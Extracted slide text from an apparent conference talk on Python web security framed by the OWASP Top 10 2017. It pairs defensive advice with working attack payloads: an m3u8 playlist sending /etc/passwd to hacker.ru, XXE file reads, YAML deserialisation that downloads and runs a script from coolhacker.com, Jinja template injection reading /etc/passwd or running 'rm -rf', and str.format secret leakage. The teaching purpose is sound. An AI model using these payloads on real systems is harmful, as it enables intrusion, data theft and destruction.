Slide 1

Slide 1 text

(Un)safe Python Tsyganov Ivan Positive Technologies

Slide 2

Slide 2 text

About ✤ Speak at conferences ✤ Participate in OpenSource projects ✤ Absolutely hate frontend

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 6

Slide 6 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 7

Slide 7 text

A9 Using Components with Known Vulnerabilities ✤ Server Side Request Forgery (SSRF) ✤ Local file read

Slide 8

Slide 8 text

A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever?

Slide 9

Slide 9 text

A9 Using Components with Known Vulnerabilities #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http: //hacker.ru/list.m3u8|file: ///etc/passwd #EXT-X-ENDLIST #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://hacker.ru/reciever? 127.0.0.1 - - [07/Jul/2017 22:00:44] "GET /reciever? nobody:*:-2:-2:Unprivileged%20;User:/var/empty:/usr/bin/false\nroot:*: 0:0:System%20;Administrator:/var/root:/bin/sh\n HTTP/1.1" 200 - https: //habrahabr.ru/company/mailru/blog/274855/

Slide 10

Slide 10 text

A9 Using Components with Known Vulnerabilities https: // www.cvedetails.com/product/18211/Djangoproject-Django.html

Slide 11

Slide 11 text

A9 Using Components with Known Vulnerabilities http: // www.cvedetails.com/product/18230/Python-Python.html

Slide 12

Slide 12 text

A9 Using Components with Known Vulnerabilities Buffer overflow in the socket.recvfrom_into function in Modules/ socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string. Publish Date : 2014-02-28 CVE-2014-1912

Slide 13

Slide 13 text

A9 Using Components with Known Vulnerabilities ✤ Changelogs ✤ http://www.cvedetails.com/ ✤ http://www.securitylab.ru/ ✤ https://twitter.com/CVEnew/

Slide 14

Slide 14 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 15

Slide 15 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 16

Slide 16 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 17

Slide 17 text

A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access ✤ Security scanner usage

Slide 18

Slide 18 text

A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access ✤ Security scanner usage ✤ … and other attacks

Slide 19

Slide 19 text

A7 Attack protection Django ✤ Logs all logins ✤ Applies rate limits ✤ Supports blacklists ✤ … django-defender https://github.com/kencochrane/django-defender

Slide 20

Slide 20 text

A7 INSTALLED_APPS = (
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.sites',
 ...,
 'defender',
 ) 
 MIDDLEWARE_CLASSES = (
 'django.middleware.common.CommonMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'defender.middleware.FailedLoginMiddleware'
 ) Attack protection Django-defenger

Slide 21

Slide 21 text

A7 
 urlpatterns = patterns(
 (r'^admin/', include(admin.site.urls)),
 (r'^admin/defender/', include('defender.urls')), )
 Attack protection Django-defenger

Slide 22

Slide 22 text

A7 Attack protection Flask flask-security https://github.com/mattupstate/flask-security ✤ Session based authentication ✤ Role management ✤ Password hashing ✤ …

Slide 23

Slide 23 text

A7 class Role(db.Model, RoleMixin):
 . . . 
 class User(db.Model, UserMixin): . . . 
 user_datastore = SQLAlchemyUserDatastore( db, User, Role)
 security = Security(app, user_datastore)
 
 Attack protection Flask-Security

Slide 24

Slide 24 text

A7 Attack protection Flask-Security

Slide 25

Slide 25 text

A7 
 class User(db.Model, UserMixin):
 id = db.Column(db.Integer, primary_key=True)
 email = db.Column(db.String(255), unique=True)
 password = db.Column(db.String(255))
 active = db.Column(db.Boolean())
 confirmed_at = db.Column(db.DateTime())
 failed_login_attempts = db.Column(db.Integer(), default=0) Attack protection Flask-Security

Slide 26

Slide 26 text

A7 class SecureLoginForm(LoginForm):
 captcha = RecaptchaField()
 
 def show_captcha(self):
 return self.user and self.user.failed_login_attempts > 4
 
 def validate(self):
 self.user = _datastore.get_user(self.email.data)
 if not self.user:
 return False
 
 if not self.show_captcha():
 del self._fields['captcha']
 
 result = super().validate()
 if not result:
 self.user.failed_login_attempts += 1
 else:
 self.user.failed_login_attempts = 0
 _datastore.put(self.user)
 _datastore.commit()
 return result Attack protection Flask-Security

Slide 27

Slide 27 text

A7 {% from "security/_macros.html" import render_field_with_errors, render_field %}
 {% include "security/_messages.html" %}


Login


 
 {{ login_user_form.hidden_tag() }}
 {{ render_field_with_errors(login_user_form.email) }}
 {{ render_field_with_errors(login_user_form.password) }}
 {{ render_field_with_errors(login_user_form.remember) }}
 {% if login_user_form.show_captcha() %} {{ render_field_with_errors(login_user_form.captcha) }} {% endif %} {{ render_field(login_user_form.next) }}
 {{ render_field(login_user_form.submit) }}
 
 {% include "security/_menu.html" %} Attack protection Flask-Security

Slide 28

Slide 28 text

A7 app.config['SECURITY_LOGIN_USER_TEMPLATE'] = 'login.html'
 app.config['RECAPTCHA_PUBLIC_KEY'] = 'XXXXXXXXXXXXXXXXX'
 app.config['RECAPTCHA_PRIVATE_KEY'] = 'XXXXXXXXXXXXXXXX' . . . 
 security = Security( app, user_datastore, login_form=SecureLoginForm)
 Attack protection Flask-Security

Slide 29

Slide 29 text

A7 import logging
 from flask import request
 from flask_login import user_logged_in
 
 
 logger = logging.getLogger(__name__)
 
 def log_login(sender, user):
 logger.info( 'User %s logged in from %s', (user.email, request.remote_addr) )
 
 user_logged_in.connect(log_login)
 Attack protection Flask-Security

Slide 30

Slide 30 text

A7 Insufficient Attack Protection ✤ Bruteforce ✤ Undetected admin access ✤ Security scanner usage ✤ … and other attacks

Slide 31

Slide 31 text

A7 Attack protection Web Application Firewall

Slide 32

Slide 32 text

A7 Attack protection Web Application Firewall /profile?name=alert(1)

Slide 33

Slide 33 text

A7 Attack protection Web Application Firewall /profile?name=alert(1) WAF

Slide 34

Slide 34 text

A7 Attack protection Web Application Firewall

Slide 35

Slide 35 text

A7 Insufficient Attack Protection ✤Write and analyse logs ✤Use Web Application Firewall ✤Block hacking attempts

Slide 36

Slide 36 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 37

Slide 37 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 38

Slide 38 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 39

Slide 39 text

A5 Security Misconfiguration ✤ Default settings in production

Slide 40

Slide 40 text

A5 Security Misconfiguration Used default settings

Slide 41

Slide 41 text

A5 Security Misconfiguration Used default settings

Slide 42

Slide 42 text

A5 Security Misconfiguration Used default settings

Slide 43

Slide 43 text

A5 Security Misconfiguration ✤ Default settings in production ✤ Traceback messages in production

Slide 44

Slide 44 text

A5 Security Misconfiguration Hacker see traceback @app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:


{url}


 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404


Slide 45

Slide 45 text

@app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:


{url}


 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback

Slide 46

Slide 46 text

@app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:


{url}


 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback

Slide 47

Slide 47 text

@app.errorhandler(404)
 def page_not_found(e):
 template = '''
 Dear {username}, following page not found:


{url}


 '''.format(username=current_user.name, url=request.url)
 return render_template_string(template), 404
 A5 Security Misconfiguration Hacker see traceback

Slide 48

Slide 48 text

A5 Security Misconfiguration ✤ Default settings in production ✤ Traceback messages in production ✤ Configuration errors

Slide 49

Slide 49 text

A5 Security Misconfiguration root /your/django/project; location / { proxy_pass http: //django_backend; }

Slide 50

Slide 50 text

A5 Security Misconfiguration root /your/django/project; location / { try_files $uri @django; } location @django { proxy_pass http: //django_backend; }

Slide 51

Slide 51 text

A5 Security Misconfiguration GET http: //yoursite.com/manage.py $ tree /your/django/project | + -- media +---- style.css + -- application +---- __init__.py +---- settings.py +---- urls.py +---- wsgi.py + -- manage.py

Slide 52

Slide 52 text

A5 Security Misconfiguration location /media { alias /your/django/project/media; } location /static { alias /your/django/project/static; } location / { proxy_pass http: //django_backend; }

Slide 53

Slide 53 text

A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last;

Slide 54

Slide 54 text

A5 Security Misconfiguration rewrite ^/(.*)/some$ /$1/ last; . . . location ~* ^/proxy/(?https?)/(?.*?)/(?.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }

Slide 55

Slide 55 text

A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some rewrite ^/(.*)/some$ /$1/ last; location ~* ^/proxy/(?https?)/(?.*?)/(?.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }

Slide 56

Slide 56 text

A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/ last; location ~* ^/proxy/(?https?)/(?.*?)/(?.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }

Slide 57

Slide 57 text

A5 Security Misconfiguration https: //your_site.com/proxy/https/evil.com/login/some https: //evil.com/login rewrite ^/(.*)/some$ /$1/ last; location ~* ^/proxy/(?https?)/(?.*?)/(?.*)$ { internal; proxy_pass $p_proto://$p_host/$p_path ; proxy_set_header Host $p_host; }

Slide 58

Slide 58 text

A5 Security Misconfiguration https: //github.com/yandex/gixy ✤ Server Side Request Forgery ✤ HTTP Splitting ✤ Problems with referrer/origin validation ✤ Redefining of response headers by "add_header" directive ✤ Request's Host header forgery ✤ none in valid_referers ✤ Multiline response headers GIXY

Slide 59

Slide 59 text

A5 Security Misconfiguration ✤ Read documentation ✤ Use tools to check your configs ✤ Separate production/development env

Slide 60

Slide 60 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 61

Slide 61 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 62

Slide 62 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 63

Slide 63 text

A1 Injection XML

Slide 64

Slide 64 text

Injection XML A1 from lxml import etree
 user_xml = '''
 
 disabled 
 enabled 
 
 '''
 tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)
 )
 . . .

Slide 65

Slide 65 text

Injection XML A1 from lxml import etree
 
 user_xml = '''
 ]>
 
 &passwd; 
 enabled 
 
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . .

Slide 66

Slide 66 text

Injection. XML. A1 from lxml import etree
 
 user_xml = '''
 ]>
 
 &passwd; 
 enabled 
 
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File «pycon_example.py", line 53, in "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value ' ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false

Slide 67

Slide 67 text

Injection XML A1 from lxml import etree
 
 user_xml = '''
 ]>
 
 &passwd; 
 enabled 
 
 ''' tree = etree.fromstring(
 user_xml, parser=etree.XMLParser(resolve_entities=False)
 ) for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value '{}'".format(value)


Slide 68

Slide 68 text

Injection. XML. A1 from lxml import etree
 
 user_xml = '''
 ]>
 
 &passwd; 
 enabled 
 
 ''' tree = etree.fromstring(user_xml)
 for setting in tree.xpath('/notifications /*'):
 if setting.text not in ('enabled', 'disabled'):
 raise ValueError(
 "Incorrect value ‘{}’".format(value)
 )
 . . . Traceback (most recent call last): File "pycon_example.py", line 53, in "Incorrect value '{}'".format(setting.text) ValueError: Incorrect value 'None'

Slide 69

Slide 69 text

https: //hackerone.com/reports/99279

Slide 70

Slide 70 text

A1 Injection YAML

Slide 71

Slide 71 text

Injection YAML A1 user_input = '''
 key: value
 '''
 data = yaml.load(user_input)

Slide 72

Slide 72 text

Injection YAML A1 user_input = '''
 key: value
 '''
 data = yaml.load(user_input) {'key': 'value'}

Slide 73

Slide 73 text

Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.load(user_input)

Slide 74

Slide 74 text

Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.load(user_input) {'key': '3.11'}

Slide 75

Slide 75 text

Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 - ['ping', 'ptsecurity.com', '-c 1']
 '''
 data = yaml.load(user_input)

Slide 76

Slide 76 text

Injection. YAML. A1 import yaml
 user_input = '''
 key: value
 '''
 data = yaml.load(user_input) {'key': b''' PING ptsecurity.com (109.238.242.125): 56 data bytes 64 bytes from 109.238.242.125: icmp_seq=0 ttl=58 time=9.522 ms --- ptsecurity.com ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 9.522/9.522/9.522/0.000 ms '''}

Slide 77

Slide 77 text

Injection YAML A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 - - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python /tmp/xxx.py'
 ''' data = yaml.load(user_input)

Slide 78

Slide 78 text

Injection. YAML. A1 user_input = '''
 key: !!python/object/apply:subprocess.check_output
 args:
 - - 'curl'
 - '-o'
 - '/tmp/xxx.py'
 - ‘http: //coolhacker.com/exploit.py' key2: !!python/object/apply:os.system
 args:
 - 'python3 /tmp/xxx.py’
 ''' data = yaml.load(user_input) > curl http: //target.com:8000/cat%20/etc/passwd nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false

Slide 79

Slide 79 text

Injection YAML A1 Loading YAML Warning: It is not safe to call yaml.load with any data received from an untrusted source! yaml.load is as powerful as pickle.load and so may call any Python function. Check the yaml.safe_load function though.

Slide 80

Slide 80 text

Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.safe_load(user_input)

Slide 81

Slide 81 text

Injection YAML A1 user_input = '''
 key: !!python/name:yaml.__version__
 '''
 data = yaml.safe_load(user_input) yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/name:yaml.__version__' in "", line 1, column 6: key: !!python/name:yaml.__version__

Slide 82

Slide 82 text

A1 Injection Templates

Slide 83

Slide 83 text

Injection Templates A1 from flask import render_template_string
 user = 'Admin' template = 'Hello, %s!' % user
 render_template_string(template)

Slide 84

Slide 84 text

Injection Templates A1 user = "{{ '' }}"
 template = 'Hello, {}!'.format(user)

Slide 85

Slide 85 text

Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, !

Slide 86

Slide 86 text

Injection Templates A1 user = "{{ ''.__class__ }}"
 template = 'Hello, {}!'.format(user)

Slide 87

Slide 87 text

Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, !

Slide 88

Slide 88 text

Injection Templates A1 user = "{{ ''.__class__.__base__.__subclasses__() }}"
 template = 'Hello, {}!'.format(user)

Slide 89

Slide 89 text

Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, [ , , , , , , , , , , , , , , , …

Slide 90

Slide 90 text

Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, [ , , , , , , , , , , , , , , , …

Slide 91

Slide 91 text

Injection Templates A1 user = """
 {% for item in x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{ item.__hash__.__globals__['__builtins__']['open']('/etc/passwd')}}
 {% endif %}
 {% endfor %}
 """
 
 template = 'Hello, {}!'.format(user)

Slide 92

Slide 92 text

Injection. Templates. A1 user = "{{''}}" template = ‘Hello, %s!' % user Hello, [ . . . '# Open Directory.\n', ' ##\n', 'nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/ false\n', 'root:*:0:0:System Administrator:/var/root:/bin/sh\n', . . . ]

Slide 93

Slide 93 text

Injection Templates A1 user = """
 {% for item in x.__class__.__base__.__subclasses__() %}
 {% if item.__name__ == 'FileLoader' %}
 {{
 item.__hash__.__globals__['__builtins__']['eval'](" 
 __import__('os').system('rm -rf . /*', shell=True)
 ")
 }}
 {% endif %}
 {% endfor %} """
 
 template = 'Hello, {}!’.format(user)

Slide 94

Slide 94 text

Injection Templates A1 template = Template("Hello, {{ user }}.")
 template.render( Context({"user": "Admin"}) ) return render_template_string( 'Hello, {{ user }}.', user='Admin' )


Slide 95

Slide 95 text

https: //hackerone.com/reports/125980

Slide 96

Slide 96 text

A1 Injection str.format

Slide 97

Slide 97 text

Injection str.format A1 CONFIG = {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'} class LogEntry:
 def __init__(self, id, time, msg):
 self.id = id
 self.time = time
 self.msg = msg
 
 def format_log(format_, value):
 assert isinstance(value, LogEntry), \
 'value must be LogEntry'
 
 return format_.format(entry=value)


Slide 98

Slide 98 text

Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')
 print(format_log('{entry.id}: {entry.msg}', entry))
 >>> 1: System loaded

Slide 99

Slide 99 text

Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')
 print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>>

Slide 100

Slide 100 text

Injection str.format A1 entry = LogEntry( id=1, time=time.time(), msg='System loaded')
 print(format_log( '{entry.__init__.__globals__[CONFIG]}', entry ))
 >>> {'SECRET_KEY': 'MY_SUPER_SECRET_KEY'}

Slide 101

Slide 101 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 102

Slide 102 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 103

Slide 103 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 104

Slide 104 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 105

Slide 105 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 106

Slide 106 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 107

Slide 107 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 108

Slide 108 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 109

Slide 109 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 110

Slide 110 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 111

Slide 111 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 112

Slide 112 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 113

Slide 113 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 114

Slide 114 text

OWASP TOP 10 2017 A1 Injection A2 Broken Authentication and Session Management A3 XSS A4 Broken Access Control A5 Security Misconfiguration A7 Insufficient Attack Protection A6 Sensitive Data Exposure A8 CSRF A9 Components with Vulnerabilities A10 Underprotected APIs

Slide 115

Slide 115 text

Thank you! mi.0-0.im